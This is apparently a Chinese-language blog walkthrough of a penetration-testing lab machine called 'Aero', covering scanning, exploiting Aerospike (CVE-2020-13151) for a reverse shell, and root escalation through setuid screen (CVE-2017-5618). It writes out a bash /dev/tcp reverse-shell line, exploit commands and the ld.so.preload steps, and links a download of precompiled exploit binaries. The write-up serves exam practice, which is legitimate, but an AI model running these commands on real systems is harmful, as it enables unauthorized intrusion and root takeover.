Challenge 4 - Aero

Challenge 4 - Aero

└─$ rustscan -a 192.168.205.143 --scripts none --ulimit 5000 | tee rustscan




└─$ sudo nmap -sVC -p 21,22,80,81,443,3000,3001,3003,3306,5432 192.168.205.143 | tee nmap



當中較為特別的是 3000、3001、3003,依據這一篇文章

https://docs.aerospike.com/server/operations/plan/network 判定應為 Aerospike

開放的典型連接埠:

3000 -“服務”端口,處理客戶端請求和回應。

3001 -“fabric”端口,處理伺服器節點到節點的通訊。

3002 -“心跳”連接埠 -(可選)用於心跳 TCP 訊息。

3003 -“info”端口,這是一個可用於 Aerospike info 命令的 telnet 連接埠。

3004 - 'xdr' 端口,由舊版 xdr 守護程序用來與主 Aerospike 守護程序進行通訊。



持續枚舉後透過 gobuster 在這個網址

"http://192.168.205.143/api/heartbeat.php" 可以清楚看到 Aerospike 字眼







└─$ searchsploit Aerospike,結果只有一個 49067 ,那就直接試試看吧                                                  





└─$ searchsploit -m 49067




直接先執行看看 └─$ python3 49067.py

錯誤訊息是 ModuleNotFoundError: No module named 'aerospike'





看看內容 https://www.exploit-db.com/exploits/49067 

寫 # requires aerospike package from pip

那就安裝吧 └─$ sudo pip3 install aerospike




再跑一次看到範例為 49067.py --ahost 10.11.12.13 --pythonshell --lhost=10.0.0.1 --lport=8000



就改執行 49067.py --ahost 192.168.205.143 --pythonshell --lhost=192.168.45.232 --lport=4444

python3 49067.py --ahost 192.168.205.143 --pythonshell --lhost=192.168.45.232 --lport=443

python3 49067.py --ahost 192.168.205.143 --netcatshell --lhost=192.168.45.232 --lport=443  

全部不行.......GG,都寫 instance is patched

改 Metasploit 試試看 └─$ sudo msfconsole -q; search aerospike; use 0




show options 改好如下,注意 LPORT 用 443




進去了,先拿第一個 flag 吧




看一下 tty 不是 tty,快速 tty 指令下下去 "script -c /bin/bash -q /dev/null",再 tty 一次發現是 tty 了




再建一個 Session,/bin/bash -l > /dev/tcp/192.168.45.178/3306 0<&1 2>&1 &




後來測試 GitHub 的 py 就成功了,https://github.com/b4ny4n/CVE-2020-13151/tree/master

要記得一併下載 poc.lua 檔案放在同一個路徑下




執行 └─$ python3 49067.py --ahost 192.168.205.143 --pythonshell --lhost=192.168.45.232 --lport=3000




reverse shell 進來了,一樣快速 tty 指令下下去 "script -c /bin/bash -q /dev/null"





接著是提權,標準 Linux 列舉,下載 linpeas.sh,wget http://192.168.45.183/linpeas.sh




chmod +x linpeas.sh 後執行 aero@oscp:/home/aero$ ./linpeas.sh -a | tee linpeas.txt

可以在登入目標機前先使用 script 3306.txt

接下來所有的輸出就會記錄在 kali 本機的 3306.txt 檔案裡

不需要另外將檔案傳輸回來,方便許多 (要停止就是關閉該 Terminal 或是 Ctrl+D)





注意這個 CVE :

[+] [CVE-2017-5618] setuid screen v4.5.0 LPE

   Details: https://seclists.org/oss-sec/2017/q1/184

   Exposure: less probable

   Download URL: https://www.exploit-db.com/exploits/41154




選他的原因主要是這幾個字 [ Local Privilege Escalation ]




網頁上提供的範例圖片有個重點,就是檔案要放到 /tmp 底下





依照 POC 做,但靶機上面沒有 gcc 所以無法直接編譯 .sh 當中的內容

在 kali 上編譯後去靶機上執行一樣無法成功,後來是找舊一點的機器編譯後執行才成功

簡單講就是編譯好後這兩個檔案 libhax.so & rootshell,然後在靶機上下載這兩個檔案

(PS : 編譯好的檔案下載路徑 https://drive.google.com/file/d/1EqEzfnv6XRYhw47XpJ1pFcyMypA5GR-m/view?usp=sharing)

一定要放到 /tmp 路徑底下,接著執行 POC 寫的如下

cd /etc

umask 000

screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"

screen -ls

/tmp/rootshell

最後 id 看一下已經是 root 了




可以拿答案了






留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)